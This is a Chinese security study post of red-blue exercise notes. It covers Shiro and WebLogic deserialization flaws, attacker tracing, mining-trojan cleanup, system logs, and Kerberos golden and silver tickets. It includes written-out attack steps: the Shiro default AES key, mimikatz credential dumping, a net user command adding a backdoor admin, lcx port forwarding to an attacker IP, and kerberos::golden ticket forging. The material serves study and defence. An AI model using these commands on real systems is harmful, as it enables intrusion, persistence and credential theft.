Hvv(二)

shiro框架漏洞

apache shiro框架提供了记住我的功能(remeber me),用户登录成功后会生成经过加密并编码的cookie
cookie的key为remerber me,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后再base64编码处理形成的

在服务端接收cookie值,解析过程
1、检索remerber me cookie的值
2、base64解密
3、使用aes解密(加密秘钥硬编码)
4、进行反序列化操作(未做过滤处理)

在调用反序列化的时候未进行任意过滤。导致可以触发远程代码执行漏洞

用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞

二、Shiro序列化利用条件
由于使用了AES加密,要想成功利用漏洞则需要获取AES的加密密钥,而在shiro1.2.4之前版本中使用的是硬编码,AES加密的密钥默认在代码里。其默认密钥的base64编码后的值 kPH+bIxk5D2deZiIxcaaaA== ,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

目前已经更新了很多版本,官方通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用固定的编码,也有很多开源项目内部集成了shiro并二次开发,可能会重现低版本shiro的默认固定密钥的风险。用户如果不对密钥进行修改,即使升级shiro版本,也依旧存在固定密钥的风险。这里可以通过搜索引擎和github来收集密钥,提高漏洞检测和利用的成功率。

Shiro-550,只需输入url,即可完成自动化检测和漏洞利用。Shiro-721,需输入url,提供一个有效的rememberMe Cookie,并指定目标操作系统类型。
Shiro-550,Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。
构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密,反序列化payload内容后就可以命令执行
Shiro-721,由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
objectinputstream readobject() 进行反序列化

weblogic中间件漏洞

weblogic是美国oracle公司出品的application server,是一个JAVAEE架构的中间件,weblogic是用于开发,集成,部署和管理大型分布式web应用,网络应用和数据库应用的java应用服务器,将java的动态功能和java Enterprise标准的安全性引入大型网络应用的开发,集成,部署和管理之中

wls9-async 组件为 WebLogic Server 提供异步通讯服务,默认应用于 WebLogic 部分版本。由于该 WAR 包在反序列化处理输入信息时存在缺陷,攻击者通过发送精心构造的恶意 HTTP 请求,即可获得目标服务器的权限,在未授权的情况下远程执行命令。

反序列化

xmldecoder (cve-2017-10271)

wls-wsat远程代码执行

IIOP

网络攻击应急溯源的一些常见思路

根据用户现场的情况往往还需要做一些信息收集的工作比如,出现异常的时间点(非常重要)、异常服务器的主要业务情况、大致的一个网络拓扑是不是在DMZ区、是否可以公网访问、开放了那些端口、是否有打补丁、使用了怎么样的一个web技术、最近是否做过什么变更、有没有什么安全设备之类的。

1.攻击源捕获

安全设备报警,如扫描IP。威胁阻断,病毒木马,入侵事件等
日志与流量分析,异常的通讯流量、攻击源与攻击目标等
服务器资源异常,异常的文件、账号、进程、端口,启动项、计划任务和服务等
邮件钓鱼,获取恶意文件样本、钓鱼网站URL等
蜜罐系统,获取攻击者行为、意图的相关信息

2、溯源反制手段

IP定位技术
根据IP定位物理地址—代理IP 溯源案例:通过IP端口扫描,反向渗透服务器进行分析,最终定位到攻击者相关信息
ID追踪术
ID追踪术,搜索引擎、社交平台、技术论坛、社工库匹配 溯源案例:利用ID从技术论坛追溯邮箱,继续通过邮箱反追踪真实姓名,通过姓名找到相关简历信息
网站url
域名Whois查询—注册人姓名、地址、电话和邮箱。—域名隐私保护 溯源案例:通过攻击IP历史解析记录/域名,对域名注册信息进行溯源分析
恶意样本
提取样本特征、用户名、ID、邮箱、C2服务器等信息—同源分析 溯源案例:样本分析过程中,发现攻击者的个人ID和QQ,成功定位到攻击者。
社交账号
基于JSONP跨域,获取攻击者的主机信息、浏览器信息、真实 IP及社交信息等 利用条件:可以找到相关社交网站的jsonp接口泄露敏感信息,相关网站登录未注销

挖矿木马排查思路

常见被挖矿的原因
为了追求高效率,现在的黑客一般都是通过自动化脚本去扫描互联网上所有机器,寻找漏洞然后部署挖矿进程。所以大部分的挖矿都是由于受害者的主机上存在常见的漏洞。比如

未授权访问或弱口令:Redis未授权访问、Docker API未授权访问,Hadoop Yarn 未授权访问、NFS未授权访问、Rsync弱口令、PostgreSQL弱口令、Tomcat弱口令、SSH弱口令、Telnet弱口令、Windows远程桌面弱口令;

远程命令执行漏洞:WebLogic XML 反序列化漏洞、Jenkins反序列化、Jboss远程代码执行、Spring远程代码执行、ElasticSearch命令执行、永恒之蓝、Struts2系列漏洞、常见CMS的远程命令执行漏洞;

排查思路

确定挖矿进程
1、用top命令查看CPU使用率,找到异常进程的pid。
2、使用ls -l /proc/pid/exe或者ll /proc/pid/查看进程执行的命令,或者使用lsof -p pid查看进程打开的文件。
如果木马有隐藏进程的功能,我们可以从以下几个点进行排查:
是否替换了系统命令,使用rpm -Va命令,红框标记处的命令被替换掉了。
Hvv(二)_第1张图片
使用busybox查看被隐藏的进程
Hvv(二)_第2张图片

2、确定木马程序后清除木马

3、确定受害用户

一般挖矿进程为自动化攻击脚本,所以很少有提权的过程,那么很大可能挖矿进程所属用户即为攻击进入系统的用户。后续的排查过程可根据此寻找攻击者的入侵途径。

4、查看用户进程排查其他风险点

确定已失陷用户后,可查询该用户所属其他进程,判断其他进程是否有已知漏洞(Weblogic反序列化、Struts2系列漏洞、Jenkins RCE)或弱口令(Redis未授权、Hadoop yarn未授权、SSH弱口令)等问题。

5、确定原因

排查出挖矿木马后对木马类型进行分析,根据木马的传播特征和传播方式,初步判断本次入侵的原因。然后结合应用日志以及漏洞利用残留文件确定本次攻击是否利用了该漏洞。

2、整体操作流程

确定挖矿进程
执行ps aux查看是否有其它可疑进程全部杀死并删除pid(删除pid的前提要杀掉进程),在实际的清除工作中,应找到本机上运行的挖矿脚本,根据脚本的执行流程确定木马的驻留方式,并按照顺序进行清除,避免清除不彻底。
killall 进程名
rm -fr /proc/pid

第一步最关键,一定要在ps aux仔细查找可疑进程并要和pid一并杀掉删除

及时隔离主机
部分带有蠕虫功能的挖矿木马在取得本机的控制权后,会以本机为跳板机,对同一局域网内的其他主机进行已知漏洞的扫描和进一步利用,所以发现挖矿现象后,在不影响业务的前提下应该及时隔离受感染主机,然后进行下一步分析。
阻断与矿池的通信
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP
iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

清除定时任务
tail /var/log/cron #查看定时任务日志
ls /var/spool/cron #查看不同用户的定时任务
rm -rf /var/spool/cron/* #删除所有用户级的定时任务

清除启动项
rm -f /etc/init.d/muma(开机自启动的)

清除公钥文件
查看是否有不该存在的特权用户
修改root密码且修改sshd端口
禁ping
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all

openssh打补丁(升级),因为主要原因是ssh漏洞导致木马入侵

查杀完成后重启服务器,然后分别持续观察下面两个位置的日志:
tail -f /var/log/cron
tail -f /var/log/messages

内网渗透的基本思路

拿到外网web服务器权限

比如通过蚁件一句话木马,连接到后台,然后打开终端 whoami 查看自己的身份

设法提权

1、查看systeminfo,重点关注操作系统版本,位数(64/32)补丁编号如果没有kb423377(巴西烤肉漏洞)提权
2、ipconfig(查看肉鸡连接几个网卡,连接几个网络 )
3、netstat -ano(查看都有哪些内网主机与本机通信)
netstat -an | findstr "3389"查看端口
4、创建用户
net user bb bb@12345 /add #添加用户
net localgroup administrators bb /add #将用户添加到管理组
net user #查看用户
5、窃取administrator的密码
工具 mimitakz
工具用法: 双击mimitakz.exe ,
mimitakz:
privilege::debug
sekurlsa::logonpasswords 如果是密文(用kali软件)

6.利用新账号或administrator登录。登远程桌面(mstsc)
7.向肉鸡上传lcx.exe文件
8.在黑客机上执行 lcx.exe -listen 44444 55555
9.在肉鸡上执行 lcx.exe -slave 黑客 IP 44444 127.0.0.1 3389
在靶机上运行lcx.exe注意这个软件上传路径,在终端下要进入这个命令才能运行。
10.在黑客机上打开mstsc 127.0.0.1:55555

windows日志有哪些,在哪里

windows系统日志都是在“事件查看器”下面的
我的电脑 - 右键单击 - 管理 - 计算机管理 - 系统工具 - 事件查看器 - Windows日志;

linux日志有哪些,在哪里

Linux系统日志都是放在“/var/log”下面的,下面给大家简单介绍一下各个日志文件:
/var/log/messages — 包括整体系统信息,其中也包含系统启动期间的日志。此外,mail,cron,daemon,kern和auth等内容也记录在var/log/messages日志中。

/var/log/dmesg — 包含内核缓冲信息(kernel ring buffer)。在系统启动时,会在屏幕上显示许多与硬件有关的信息。可以用dmesg查看它们。

/var/log/auth.log — 包含系统授权信息,包括用户登录和使用的权限机制等。

/var/log/boot.log — 包含系统启动时的日志。

/var/log/daemon.log — 包含各种系统后台守护进程日志信息。

/var/log/dpkg.log – 包括安装或dpkg命令清除软件包的日志。

/var/log/kern.log – 包含内核产生的日志,有助于在定制内核时解决问题。

/var/log/lastlog — 记录所有用户的最近信息。这不是一个ASCII文件,因此需要用lastlog命令查看内容。

/var/log/maillog /var/log/mail.log — 包含来着系统运行电子邮件服务器的日志信息。例如,sendmail日志信息就全部送到这个文件中。

/var/log/user.log — 记录所有等级用户信息的日志。

/var/log/Xorg.x.log — 来自X的日志信息。

/var/log/alternatives.log – 更新替代信息都记录在这个文件中。

/var/log/btmp – 记录所有失败登录信息。使用last命令可以查看btmp文件。例如,”last -f /var/log/btmp | more“。

/var/log/cups — 涉及所有打印信息的日志。

/var/log/anaconda.log — 在安装Linux时,所有安装信息都储存在这个文件中。

/var/log/yum.log — 包含使用yum安装的软件包信息。

/var/log/cron — 每当cron进程开始一个工作时,就会将相关信息记录在这个文件中。

/var/log/secure — 包含验证和授权方面信息。例如,sshd会将所有信息记录(其中包括失败登录)在这里。

/var/log/wtmp或/var/log/utmp — 包含登录信息。使用wtmp可以找出谁正在登陆进入系统,谁使用命令显示这个文件或信息等。

/var/log/faillog – 包含用户登录失败信息。此外,错误登录命令也会记录在本文件中。

windows日志代码含义4624 4625

在 Windows 日志的安全中,筛选 4624,可查看登录成功的事件
4625:一个帐户登录失败
“4672”表示有特殊权限的登录

黄金白银票据

https://blog.csdn.net/weixin_44604541/article/details/116743835

kerberos协议

大致流程如下:
Hvv(二)_第3张图片
参与的角色:
client:application client应用客户端
AS:Authentication server 用来认证用户身份
TGS:ticket-grantiing-service 用来授权服务访问
SS:service server 用户所请求的服务
Hvv(二)_第4张图片
Client向KDC发起AS_REQ请求内容为通过Client密码Hash 加密的时间戳、ClientID、网络地址、加密类型等内容
KDC使用Client hash进行解密,并在ntds.dit(只有域控中才有的数据库)中查找该账户,如果结果正确就返回用krbtgt NTLM-hash加密的TGT票据,TGT里面包含PAC(Privilege Attribute Certificate,不同的账号有不同的权限,PAC就是为了区别不同权限的一种方式),PAC包含Client的sid,Client所在的组
Client(客户端)凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
KDC使用krbtgt NTLM-hash进行解密,如果结果正确,就返回用服务NTLM-hash 加密的TGS票据,并带上PAC返回给Client(客户端),这一步不管用户有没有访问服务的权限,只要TGT(认证票据)正确,就返回TGS票据
此时client拿着KDC给的TGS票据去请求服务
服务端使用自己的NTLM-hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。

打个比方,整个过程就是:你想坐飞机,但是机场告诉你必须有机票(TGT)才可以登机,接着你去购票处(AS)出示身份证(Client name)购买了一张机票(TGT),你拿着机票登机,在检票处(TGS)出示机票,服务人员告诉了你的座位号(Ticket),然后就可以坐到自己的位置上。

Client 上的用户请求KDC上的AS服务TGT
Client 使用TGT请求KDC上的TGS得到ST(TGS ticket)
Client使用ST(TGS Ticket)访问Server

黄金票据

黄金票据就是伪造krbtgt用户的TGT票据,krbtgt用户是域控中用来管理发放票据的用户,拥有了该用户的权限,就可以伪造系统中的任意用户

利用前提:

拿到域控(没错就是拿到域控QAQ),适合做权限维持
有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)
条件要求:

域名
域的SID 值
域的KRBTGT账户NTLM密码哈希
伪造用户名
2、利用
(1)获取信息
1、获取域名

whoami
net time /domain
ipconfig /all
1
2
3
2、获取SID

whoami /all
1
3、获取域的KRBTGT账户NTLM密码哈希或者aes-256值

用mimikatz

lsadump::dcsync /domain:zz.com /user:krbtgt /csv
1
4、伪造管理员用户名

net group “domain admins”
(2)伪造TGT
1、清除所有票据

klist purge
1
2、使用mimikatz伪造指定用户的票据并注入到内存

kerberos::golden /admin:administrator /domain:zz.com /sid:S-1-5-21-1373374443-4003574425-2823219550 /krbtgt:9f3af6256e86408cb31169871fb36e60 /ptt
3、防御
防御措施如下:

限制域管理员登录到除域控制器和少数管理服务器以外的任何其他计算机(不要让其他管理员登录到这些服务器)将所有其他权限委派给自定义管理员组。这大大降低了攻击者访问域控制器的Active Directory的ntds.dit。如果攻击者无法访问AD数据库(ntds.dit文件),则无法获取到KRBTGT帐户密码
禁用KRBTGT帐户,并保存当前的密码以及以前的密码。KRBTGT密码哈希用于在Kerberos票据上签署PAC并对TGT(身份验证票据)进行加密。如果使用不同的密钥(密码)对证书进行签名和加密,则DC(KDC)通过检查KRBTGT以前的密码来验证
建议定期更改KRBTGT密码(毕竟这是一个管理员帐户)。更改一次,然后让AD备份,并在12到24小时后再次更改它。这个过程应该对系统环境没有影响。这个过程应该是确保KRBTGT密码每年至少更改一次的标准方法
一旦攻击者获得了KRBTGT帐号密码哈希的访问权限,就可以随意创建黄金票据。通过快速更改KRBTGT密码两次,使任何现有的黄金票据(以及所有活动的Kerberos票据)失效。这将使所有Kerberos票据无效,并消除攻击者使用其KRBTGT创建有效金票的能力

白银票据

1、原理
黄金票据是伪造TGT(门票发放票),而白银票据则是伪造ST(门票),这样的好处是门票不会经过KDC,从而更加隐蔽,但是伪造的门票只对部分服务起作用,如cifs(文件共享服务),mssql,winrm(windows远程管理),DNS等等

利用前提:

拿到目标机器hash(是目标机,不一定是域控)
条件要求:

域名
域sid
目标服务器FQDN
可利用的服务
服务账号的NTML HASH
需要伪造的用户名
2、利用
(1)信息收集
1、获取域名

whoami
net time /domain
ipconfig /all
1
2
3
2、获取SID

whoami /all
1
3、目标机器的FQDN

net time /domain
就是hostname+域名 /target:\WIN-75NA0949GFB.NOONE.com
1
2
4、可利用的服务CIFS(磁盘共享的服务)

/service:CIFS
1
5、要伪造的用户名

/user:Administrator
1
6、服务账号的ntlm hash(Primary Username : WIN-75NA0949GFB 带 带 的hash,不是admin的)

/rc4:08d93ddf15a6309a46daaa7ec8565296
#生成了mimikatz.log文件(域控主机执行)
1
2
7、利用文件共享服务cifs,获取服务账号得NTMLhash值(在14068基础上使用mimikatz获取)

注意:服务账号就是域控名$

mimikatz.exe privilege::debug sekurlsa::logonpasswords exit >> 2.txt
1
(2)伪造ST
1、清除所有票据

klist purge
1
2、使用mimikatz伪造指定用户的票据并注入到内存

kerberos::golden /domain:域名 /sid:填sid /target:完整的域控名 /service:cifs /rc4:服务账号NTMLHASH /user:用户名 /ptt

简单了解黄金票据和白银票据:
黄金票据:是直接抓取域控中ktbtgt账号的hash,来在client端生成一个TGT票据,那么该票据是针对所有机器的所有服务。
白银票据:实际就是在抓取到了域控服务hash的情况下,在client端以一个普通域用户的身份生成TGS票据,并且是针对于某个机器上的某个服务的,生成的白银票据,只能访问指定的target机器中指定的服务。
Golden Ticket 和Silver Ticket都会在日志,不同的是,Golden Ticket会在域控中留下日志,Silver Ticket 仅在目标系统留下日志,因为Silver Ticket 不与KDC产生交互
产生的日志中,应该关注事件ID 4624(账户登录)、4634(账户注销)、4672(管理员登录),并且域字段应该为Domain 时为空

你可能感兴趣的:(CTF,安全,网络)